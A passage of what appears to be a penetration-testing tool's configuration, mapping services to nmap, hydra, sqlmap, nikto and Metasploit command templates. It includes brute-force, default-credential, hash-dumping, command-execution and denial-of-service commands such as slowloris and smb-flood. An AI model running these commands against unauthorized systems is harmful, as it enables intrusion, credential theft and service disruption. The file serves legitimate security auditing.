-http-chrono.nse=http-chrono.nse, "nmap -Pn [IP] -p [PORT] --script=http-chrono.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-coldfusion-subzero.nse=http-coldfusion-subzero.nse, "nmap -Pn [IP] -p [PORT] --script=http-coldfusion-subzero.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-comments-displayer.nse=http-comments-displayer.nse, "nmap -Pn [IP] -p [PORT] --script=http-comments-displayer.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-config-backup.nse=http-config-backup.nse, "nmap -Pn [IP] -p [PORT] --script=http-config-backup.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-cors.nse=http-cors.nse, "nmap -Pn [IP] -p [PORT] --script=http-cors.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-csrf.nse=http-csrf.nse, "nmap -Pn [IP] -p [PORT] --script=http-csrf.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-date.nse=http-date.nse, "nmap -Pn [IP] -p [PORT] --script=http-date.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-default-accounts.nse=http-default-accounts.nse, "nmap -Pn [IP] -p [PORT] --script=http-default-accounts.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-devframework.nse=http-devframework.nse, "nmap -Pn [IP] -p [PORT] --script=http-devframework.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-dlink-backdoor.nse=http-dlink-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=http-dlink-backdoor.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-dombased-xss.nse=http-dombased-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-dombased-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-domino-enum-passwords.nse=http-domino-enum-passwords.nse, "nmap -Pn [IP] -p [PORT] --script=http-domino-enum-passwords.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-drupal-enum-users.nse=http-drupal-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-enum-users.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-drupal-modules.nse=http-drupal-modules.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-modules.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-email-harvest.nse=http-email-harvest.nse, "nmap -Pn [IP] -p [PORT] --script=http-email-harvest.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-enum.nse=http-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-errors.nse=http-errors.nse, "nmap -Pn [IP] -p [PORT] --script=http-errors.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-exif-spider.nse=http-exif-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-exif-spider.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-favicon.nse=http-favicon.nse, "nmap -Pn [IP] -p [PORT] --script=http-favicon.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-feed.nse=http-feed.nse, "nmap -Pn [IP] -p [PORT] --script=http-feed.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-fileupload-exploiter.nse=http-fileupload-exploiter.nse, "nmap -Pn [IP] -p [PORT] --script=http-fileupload-exploiter.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-form-brute.nse=http-form-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-form-fuzzer.nse=http-form-fuzzer.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-fuzzer.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-frontpage-login.nse=http-frontpage-login.nse, "nmap -Pn [IP] -p [PORT] --script=http-frontpage-login.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-generator.nse=http-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-generator.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-git.nse=http-git.nse, "nmap -Pn [IP] -p [PORT] --script=http-git.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-gitweb-projects-enum.nse=http-gitweb-projects-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-gitweb-projects-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-google-malware.nse=http-google-malware.nse, "nmap -Pn [IP] -p [PORT] --script=http-google-malware.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-grep.nse=http-grep.nse, "nmap -Pn [IP] -p [PORT] --script=http-grep.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-headers.nse=http-headers.nse, "nmap -Pn [IP] -p [PORT] --script=http-headers.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-huawei-hg5xx-vuln.nse=http-huawei-hg5xx-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-huawei-hg5xx-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-icloud-findmyiphone.nse=http-icloud-findmyiphone.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-findmyiphone.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-icloud-sendmsg.nse=http-icloud-sendmsg.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-sendmsg.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-iis-short-name-brute.nse=http-iis-short-name-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-short-name-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-iis-webdav-vuln.nse=http-iis-webdav-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-webdav-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-joomla-brute.nse=http-joomla-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-joomla-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-litespeed-sourcecode-download.nse=http-litespeed-sourcecode-download.nse, "nmap -Pn [IP] -p [PORT] --script=http-litespeed-sourcecode-download.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-majordomo2-dir-traversal.nse=http-majordomo2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-majordomo2-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-malware-host.nse=http-malware-host.nse, "nmap -Pn [IP] -p [PORT] --script=http-malware-host.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-method-tamper.nse=http-method-tamper.nse, "nmap -Pn [IP] -p [PORT] --script=http-method-tamper.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-methods.nse=http-methods.nse, "nmap -Pn [IP] -p [PORT] --script=http-methods.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-mobileversion-checker.nse=http-mobileversion-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-mobileversion-checker.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-ntlm-info.nse=http-ntlm-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-ntlm-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-open-proxy.nse=http-open-proxy.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-proxy.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-open-redirect.nse=http-open-redirect.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-redirect.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-passwd.nse=http-passwd.nse, "nmap -Pn [IP] -p [PORT] --script=http-passwd.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-php-version.nse=http-php-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-php-version.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-phpmyadmin-dir-traversal.nse=http-phpmyadmin-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpmyadmin-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-phpself-xss.nse=http-phpself-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpself-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-proxy-brute.nse=http-proxy-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-proxy-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-put.nse=http-put.nse, "nmap -Pn [IP] -p [PORT] --script=http-put.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-qnap-nas-info.nse=http-qnap-nas-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-qnap-nas-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-referer-checker.nse=http-referer-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-referer-checker.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-rfi-spider.nse=http-rfi-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-rfi-spider.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-robots.txt.nse=http-robots.txt.nse, "nmap -Pn [IP] -p [PORT] --script=http-robots.txt.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-robtex-reverse-ip.nse=http-robtex-reverse-ip.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-reverse-ip.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-robtex-shared-ns.nse=http-robtex-shared-ns.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-shared-ns.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-server-header.nse=http-server-header.nse, "nmap -Pn [IP] -p [PORT] --script=http-server-header.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-sitemap-generator.nse=http-sitemap-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-sitemap-generator.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-slowloris-check.nse=http-slowloris-check.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris-check.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-slowloris.nse=http-slowloris.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-sql-injection.nse=http-sql-injection.nse, "nmap -Pn [IP] -p [PORT] --script=http-sql-injection.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-sqlmap=mysql-sqlmap, "sqlmap -v 2 --url=http://[IP] --user-agent=SQLMAP --delay=1 --timeout=15 --retries=2 --keep-alive --threads=5 --eta --batch --level=5 --risk=3 --banner --is-dba --dbs --tables --technique=BEUST -s [OUTPUT] --flush-session -t [OUTPUT] --fresh-queries > [OUTPUT]", mysql -http-stored-xss.nse=http-stored-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-stored-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-title.nse=http-title.nse, "nmap -Pn [IP] -p [PORT] --script=http-title.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-tplink-dir-traversal.nse=http-tplink-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-tplink-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-trace.nse=http-trace.nse, "nmap -Pn [IP] -p [PORT] --script=http-trace.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-traceroute.nse=http-traceroute.nse, "nmap -Pn [IP] -p [PORT] --script=http-traceroute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-unsafe-output-escaping.nse=http-unsafe-output-escaping.nse, "nmap -Pn [IP] -p [PORT] --script=http-unsafe-output-escaping.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-useragent-tester.nse=http-useragent-tester.nse, "nmap -Pn [IP] -p [PORT] --script=http-useragent-tester.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-userdir-enum.nse=http-userdir-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-userdir-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vhosts.nse=http-vhosts.nse, "nmap -Pn [IP] -p [PORT] --script=http-vhosts.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-virustotal.nse=http-virustotal.nse, "nmap -Pn [IP] -p [PORT] --script=http-virustotal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vlcstreamer-ls.nse=http-vlcstreamer-ls.nse, "nmap -Pn [IP] -p [PORT] --script=http-vlcstreamer-ls.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vmware-path-vuln.nse=http-vmware-path-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-vmware-path-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2009-3960.nse=http-vuln-cve2009-3960.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2009-3960.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2010-0738.nse=http-vuln-cve2010-0738.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-0738.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2010-2861.nse=http-vuln-cve2010-2861.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-2861.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2011-3192.nse=http-vuln-cve2011-3192.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3192.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2011-3368.nse=http-vuln-cve2011-3368.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3368.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2012-1823.nse=http-vuln-cve2012-1823.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2012-1823.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2013-0156.nse=http-vuln-cve2013-0156.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2013-0156.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-zimbra-lfi.nse=http-vuln-zimbra-lfi.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-zimbra-lfi.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-waf-detect.nse=http-waf-detect.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-detect.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-waf-fingerprint.nse=http-waf-fingerprint.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-fingerprint.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-wapiti=http-wapiti, wapiti http://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], http -http-wordpress-brute.nse=http-wordpress-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-wordpress-enum.nse=http-wordpress-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-wordpress-plugins.nse=http-wordpress-plugins.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-plugins.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-xssed.nse=http-xssed.nse, "nmap -Pn [IP] -p [PORT] --script=http-xssed.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -https-wapiti=https-wapiti, wapiti https://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], https -imap-brute.nse=imap-brute.nse, "nmap -Pn [IP] -p [PORT] --script=imap-brute.nse --script-args=unsafe=1", imap -imap-capabilities.nse=imap-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=imap-capabilities.nse --script-args=unsafe=1", imap -irc-botnet-channels.nse=irc-botnet-channels.nse, "nmap -Pn [IP] -p [PORT] --script=irc-botnet-channels.nse --script-args=unsafe=1", irc -irc-brute.nse=irc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-brute.nse --script-args=unsafe=1", irc -irc-info.nse=irc-info.nse, "nmap -Pn [IP] -p [PORT] --script=irc-info.nse --script-args=unsafe=1", irc -irc-sasl-brute.nse=irc-sasl-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-sasl-brute.nse --script-args=unsafe=1", irc -irc-unrealircd-backdoor.nse=irc-unrealircd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=irc-unrealircd-backdoor.nse --script-args=unsafe=1", irc -ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap -membase-http-info.nse=membase-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=membase-http-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -ms-sql-brute.nse=ms-sql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-brute.nse --script-args=unsafe=1", ms-sql -ms-sql-config.nse=ms-sql-config.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-config.nse --script-args=unsafe=1", ms-sql -ms-sql-dac.nse=ms-sql-dac.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dac.nse --script-args=unsafe=1", ms-sql -ms-sql-dump-hashes.nse=ms-sql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dump-hashes.nse --script-args=unsafe=1", ms-sql -ms-sql-empty-password.nse=ms-sql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-empty-password.nse --script-args=unsafe=1", ms-sql -ms-sql-hasdbaccess.nse=ms-sql-hasdbaccess.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-hasdbaccess.nse --script-args=unsafe=1", ms-sql -ms-sql-info.nse=ms-sql-info.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-info.nse --script-args=unsafe=1", ms-sql -ms-sql-query.nse=ms-sql-query.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-query.nse --script-args=unsafe=1", ms-sql -ms-sql-tables.nse=ms-sql-tables.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-tables.nse --script-args=unsafe=1", ms-sql -ms-sql-xp-cmdshell.nse=ms-sql-xp-cmdshell.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-xp-cmdshell.nse --script-args=unsafe=1", ms-sql -msrpc-enum.nse=msrpc-enum.nse, "nmap -Pn [IP] -p [PORT] --script=msrpc-enum.nse --script-args=unsafe=1", msrpc -mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s -mysql-audit.nse=mysql-audit.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-audit.nse --script-args=unsafe=1", mysql -mysql-brute.nse=mysql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-brute.nse --script-args=unsafe=1", mysql -mysql-databases.nse=mysql-databases.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-databases.nse --script-args=unsafe=1", mysql -mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql -mysql-dump-hashes.nse=mysql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-dump-hashes.nse --script-args=unsafe=1", mysql -mysql-empty-password.nse=mysql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-empty-password.nse --script-args=unsafe=1", mysql -mysql-enum.nse=mysql-enum.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-enum.nse --script-args=unsafe=1", mysql -mysql-info.nse=mysql-info.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-info.nse --script-args=unsafe=1", mysql -mysql-query.nse=mysql-query.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-query.nse --script-args=unsafe=1", mysql -mysql-users.nse=mysql-users.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-users.nse --script-args=unsafe=1", mysql -mysql-variables.nse=mysql-variables.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-variables.nse --script-args=unsafe=1", mysql -mysql-vuln-cve2012-2122.nse=mysql-vuln-cve2012-2122.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-vuln-cve2012-2122.nse --script-args=unsafe=1", mysql -nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns -nfs-ls.nse=nfs-ls.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-ls.nse --script-args=unsafe=1", nfs -nfs-showmount.nse=nfs-showmount.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-showmount.nse --script-args=unsafe=1", nfs -nfs-statfs.nse=nfs-statfs.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-statfs.nse --script-args=unsafe=1", nfs -nikto=Run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP] -C all, "http,https,ssl,soap,http-proxy,http-alt,https-alt" -nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], -oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute-stealth.nse --script-args=unsafe=1", oracle -oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle -oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns -oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle -oracle-sid=Oracle SID enumeration, "msfconsole -q -n -L -x \"color false; spool [OUTPUT].txt; use auxiliary/scanner/oracle/sid_enum; set RHOSTS [IP]; run; exit -y\"", oracle-tns -oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle -oracle-version=Get Oracle version, "msfconsole -q -n -L -x \"color false; spool [OUTPUT].txt; use auxiliary/scanner/oracle/tnslsnr_version; set RHOSTS [IP]; run; exit -y\"", oracle-tns -polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" -pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 -pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 -postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql -rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server -realvnc-auth-bypass.nse=realvnc-auth-bypass.nse, "nmap -Pn [IP] -p [PORT] --script=realvnc-auth-bypass.nse --script-args=unsafe=1", vnc -riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-http-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind -rwho=Run rwho, rwho -a [IP], who -samba-vuln-cve-2012-1182.nse=samba-vuln-cve-2012-1182.nse, "nmap -Pn [IP] -p [PORT] --script=samba-vuln-cve-2012-1182.nse --script-args=unsafe=1", samba -samrdump=Run samrdump, python /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" -showmount=Show nfs shares, showmount -e [IP], nfs -smb-brute.nse=smb-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smb-brute.nse --script-args=unsafe=1", smb -smb-check-vulns.nse=smb-check-vulns.nse, "nmap -Pn [IP] -p [PORT] --script=smb-check-vulns.nse --script-args=unsafe=1", smb -smb-enum-admins=Enumerate domain admins (net), "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds" -smb-enum-domains.nse=smb-enum-domains.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-domains.nse --script-args=unsafe=1", smb -smb-enum-groups=Enumerate groups (nmap), "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-groups.nse=smb-enum-groups.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-groups.nse --script-args=unsafe=1", smb -smb-enum-policies=Extract password policy (nmap), "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-processes.nse=smb-enum-processes.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-processes.nse --script-args=unsafe=1", smb -smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-sessions.nse=smb-enum-sessions.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-sessions.nse --script-args=unsafe=1", smb -smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-shares.nse=smb-enum-shares.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-shares.nse --script-args=unsafe=1", smb -smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" -smb-enum-users.nse=smb-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-users.nse --script-args=unsafe=1", smb -smb-flood.nse=smb-flood.nse, "nmap -Pn [IP] -p [PORT] --script=smb-flood.nse --script-args=unsafe=1", smb -smb-ls.nse=smb-ls.nse, "nmap -Pn [IP] -p [PORT] --script=smb-ls.nse --script-args=unsafe=1", smb -smb-mbenum.nse=smb-mbenum.nse, "nmap -Pn [IP] -p [PORT] --script=smb-mbenum.nse --script-args=unsafe=1", smb -smb-null-sessions=Check for null sessions (rpcclient), bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" -smb-os-discovery.nse=smb-os-discovery.nse, "nmap -Pn [IP] -p [PORT] --script=smb-os-discovery.nse --script-args=unsafe=1", smb -smb-print-text.nse=smb-print-text.nse, "nmap -Pn [IP] -p [PORT] --script=smb-print-text.nse --script-args=unsafe=1", smb -smb-psexec.nse=smb-psexec.nse, "nmap -Pn [IP] -p [PORT] --script=smb-psexec.nse --script-args=unsafe=1", smb -smb-security-mode.nse=smb-security-mode.nse, "nmap -Pn [IP] -p [PORT] --script=smb-security-mode.nse --script-args=unsafe=1", smb -smb-server-stats.nse=smb-server-stats.nse, "nmap -Pn [IP] -p [PORT] --script=smb-server-stats.nse --script-args=unsafe=1", smb -smb-system-info.nse=smb-system-info.nse, "nmap -Pn [IP] -p [PORT] --script=smb-system-info.nse --script-args=unsafe=1", smb -smb-vuln-ms10-054.nse=smb-vuln-ms10-054.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-054.nse --script-args=unsafe=1", smb -smb-vuln-ms10-061.nse=smb-vuln-ms10-061.nse, "nmap -Pn [IP] -p 